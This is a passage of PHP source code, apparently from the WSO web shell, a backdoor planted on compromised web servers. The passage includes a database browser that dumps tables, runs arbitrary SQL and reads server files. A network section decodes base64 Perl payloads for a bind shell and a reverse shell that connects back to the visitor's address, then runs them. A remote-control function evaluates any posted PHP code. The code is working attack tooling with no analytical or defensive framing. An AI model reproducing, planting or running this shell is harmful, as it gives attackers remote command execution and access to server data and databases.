1607 while ($item = $this->fetch())
1608 {
1609 $columns = array();
1610 foreach($item as $k => $v)
1611 {
1612 $item[$k] = "'" . addslashes($v) . "'";
1613 $columns[] = $k;
1614 }
1615
1616 $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "\n";
1617 if ($fp) fwrite($fp, $sql);
1618 else echo ($sql);
1619 }
1620
1621 break;
1622 }
1623
1624 return false;
1625 }
1626 };
1627 $db = new DbClass($_POST['type']);
1628 if ((@$_POST['p2'] == 'download') && (@$_POST['p1'] != 'select'))
1629 {
1630 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1631 $db->selectdb($_POST['sql_base']);
1632 switch ($_POST['charset'])
1633 {
1634 case "Windows-1251":
1635 $db->setCharset('cp1251');
1636 break;
1637
1638 case "UTF-8":
1639 $db->setCharset('utf8');
1640 break;
1641
1642 case "KOI8-R":
1643 $db->setCharset('koi8r');
1644 break;
1645
1646 case "KOI8-U":
1647 $db->setCharset('koi8u');
1648 break;
1649
1650 case "cp866":
1651 $db->setCharset('cp866');
1652 break;
1653 }
1654
1655 if (empty($_POST['file']))
1656 {
1657 ob_start("ob_gzhandler", 4096);
1658 header("Content-Disposition: attachment; filename=dump.sql");
1659 header("Content-Type: text/plain");
1660 foreach($_POST['tbl'] as $v) $db->dump($v);
1661 exit;
1662 }
1663 elseif ($fp = @fopen($_POST['file'], 'w'))
1664 {
1665 foreach($_POST['tbl'] as $v) $db->dump($v, $fp);
1666 fclose($fp);
1667 unset($_POST['p2']);
1668 }
1669 else die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1670 }
1671
1672 wsoHeader();
1673 echo "
1674<h1>Sql browser</h1><div class=content>
1675<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
1676<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1677<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
1678<td><select name='type'><option value='mysql' ";
1679 if (@$_POST['type'] == 'mysql') echo 'selected';
1680 echo ">MySql</option><option value='pgsql' ";
1681 if (@$_POST['type'] == 'pgsql') echo 'selected';
1682 echo ">PostgreSql</option></select></td>
1683<td><input type=text name=sql_host value=\"" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "\"></td>
1684<td><input type=text name=sql_login value=\"" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "\"></td>
1685<td><input type=text name=sql_pass value=\"" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "\"></td><td>";
1686 $tmp = "<input type=text name=sql_base value=''>";
1687 if (isset($_POST['sql_host']))
1688 {
1689 if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']))
1690 {
1691 switch ($_POST['charset'])
1692 {
1693 case "Windows-1251":
1694 $db->setCharset('cp1251');
1695 break;
1696
1697 case "UTF-8":
1698 $db->setCharset('utf8');
1699 break;
1700
1701 case "KOI8-R":
1702 $db->setCharset('koi8r');
1703 break;
1704
1705 case "KOI8-U":
1706 $db->setCharset('koi8u');
1707 break;
1708
1709 case "cp866":
1710 $db->setCharset('cp866');
1711 break;
1712 }
1713
1714 $db->listDbs();
1715 echo "<select name=sql_base><option value=''></option>";
1716 while ($item = $db->fetch())
1717 {
1718 list($key, $value) = each($item);
1719 echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
1720 }
1721
1722 echo '</select>';
1723 }
1724 else echo $tmp;
1725 }
1726 else echo $tmp;
1727 echo "</td>
1728 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
1729 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>
1730 </tr>
1731 </table>
1732 <script>
1733 s_db='" . @addslashes($_POST['sql_base']) . "';
1734 function fs(f) {
1735 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
1736 if(f.p1) f.p1.value='';
1737 if(f.p2) f.p2.value='';
1738 if(f.p3) f.p3.value='';
1739 }
1740 }
1741 function st(t,l) {
1742 d.sf.p1.value = 'select';
1743 d.sf.p2.value = t;
1744 if(l && d.sf.p3) d.sf.p3.value = l;
1745 d.sf.submit();
1746 }
1747 function is() {
1748 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
1749 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
1750 }
1751 </script>";
1752 if (isset($db) && $db->link)
1753 {
1754 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1755 if (!empty($_POST['sql_base']))
1756 {
1757 $db->selectdb($_POST['sql_base']);
1758 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br /><br />";
1759 $tbls_res = $db->listTables();
1760 while ($item = $db->fetch($tbls_res))
1761 {
1762 list($key, $value) = each($item);
1763 if (!empty($_POST['sql_count'])) $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
1764 $value = htmlspecialchars($value);
1765 echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'> <a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? ' ' : " <small>({$n['n']})</small>") . "</nobr><br />";
1766 }
1767
1768 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br />File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
1769 if (@$_POST['p1'] == 'select')
1770 {
1771 $_POST['p1'] = 'query';
1772 $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
1773 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
1774 $num = $db->fetch();
1775 $pages = ceil($num['n'] / 30);
1776 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
1777 echo " of $pages";
1778 if ($_POST['p3'] > 1) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>< Prev</a>";
1779 if ($_POST['p3'] < $pages) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + 1) . ")'>Next ></a>";
1780 $_POST['p3']--;
1781 if ($_POST['type'] == 'pgsql') $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . ($_POST['p3'] * 30);
1782 else $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . ($_POST['p3'] * 30) . ',30';
1783 echo "<br /><br />";
1784 }
1785
1786 if ((@$_POST['p1'] == 'query') && !empty($_POST['p2']))
1787 {
1788 $db->query(@$_POST['p2']);
1789 if ($db->res !== false)
1790 {
1791 $title = false;
1792 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
1793 $line = 1;
1794 while ($item = $db->fetch())
1795 {
1796 if (!$title)
1797 {
1798 echo '<tr>';
1799 foreach($item as $key => $value) echo '<th>' . $key . '</th>';
1800 reset($item);
1801 $title = true;
1802 echo '</tr><tr>';
1803 $line = 2;
1804 }
1805
1806 echo '<tr class="l' . $line . '">';
1807 $line = $line == 1 ? 2 : 1;
1808 foreach($item as $key => $value)
1809 {
1810 if ($value == null) echo '<td><i>null</i></td>';
1811 else echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
1812 }
1813
1814 echo '</tr>';
1815 }
1816
1817 echo '</table>';
1818 }
1819 else
1820 {
1821 echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
1822 }
1823 }
1824
1825 echo "<br /></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
1826 if (!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile')) echo htmlspecialchars($_POST['p2']);
1827 echo "</textarea><br/><input type=submit value='Execute'>";
1828 echo "</td></tr>";
1829 }
1830
1831 echo "</table></form><br/>";
1832 if ($_POST['type'] == 'mysql')
1833 {
1834 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1835 if ($db->fetch()) echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1836 }
1837
1838 if (@$_POST['p1'] == 'loadfile')
1839 {
1840 $file = $db->loadFile($_POST['p2']);
1841 echo '<br/><pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
1842 }
1843 }
1844 else
1845 {
1846 echo htmlspecialchars($db->error());
1847 }
1848
1849 echo '</div>';
1850 wsoFooter();
1851 }
1852
1853function actionNetwork()
1854 {
1855 wsoHeader();
1856 $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1857 $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1858 echo "<h1>Network tools</h1><div class=content>
1859 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1860 <span>Bind port to /bin/sh [perl]</span><br/>
1861 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1862 </form>
1863 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1864 <span>Back-connect [perl]</span><br/>
1865 Server: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1866 </form><br />";
1867 if (isset($_POST['p1']))
1868 {
1869 function cf($f, $t)
1870 {
1871 $w = @fopen($f, "w") or @function_exists('file_put_contents');
1872 if ($w)
1873 {
1874 @fwrite($w, @base64_decode($t));
1875 @fclose($w);
1876 }
1877 }
1878
1879 if ($_POST['p1'] == 'bpp')
1880 {
1881 cf("/tmp/bp.pl", $bind_port_p);
1882 $out = wsoEx("perl /tmp/bp.pl " . $_POST['p2'] . " 1>/dev/null 2>&1 &");
1883 sleep(1);
1884 echo "<pre class=ml1>$out\n" . wsoEx("ps aux | grep bp.pl") . "</pre>";
1885 unlink("/tmp/bp.pl");
1886 }
1887
1888 if ($_POST['p1'] == 'bcp')
1889 {
1890 cf("/tmp/bc.pl", $back_connect_p);
1891 $out = wsoEx("perl /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " 1>/dev/null 2>&1 &");
1892 sleep(1);
1893 echo "<pre class=ml1>$out\n" . wsoEx("ps aux | grep bc.pl") . "</pre>";
1894 unlink("/tmp/bc.pl");
1895 }
1896 }
1897
1898 echo '</div>';
1899 wsoFooter();
1900 }
1901
1902function actionRC()
1903 {
1904 if (!@$_POST['p1'])
1905 {
1906 $a = array(
1907 "uname" => php_uname() ,
1908 "php_version" => phpversion() ,
1909 "wso_version" => WSO_VERSION,
1910 "safemode" => @ini_get('safe_mode')
1911 );
1912 echo serialize($a);
1913 }
1914 else
1915 {
1916 eval($_POST['p1']);
1917 }
1918 }
1919
1920if (empty($_POST['a']))
1921if (isset($default_action) && function_exists('action' . $default_action)) $_POST['a'] = $default_action;
1922 else $_POST['a'] = 'SecInfo';
1923
1924if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) call_user_func('action' . $_POST['a']);
1925exit;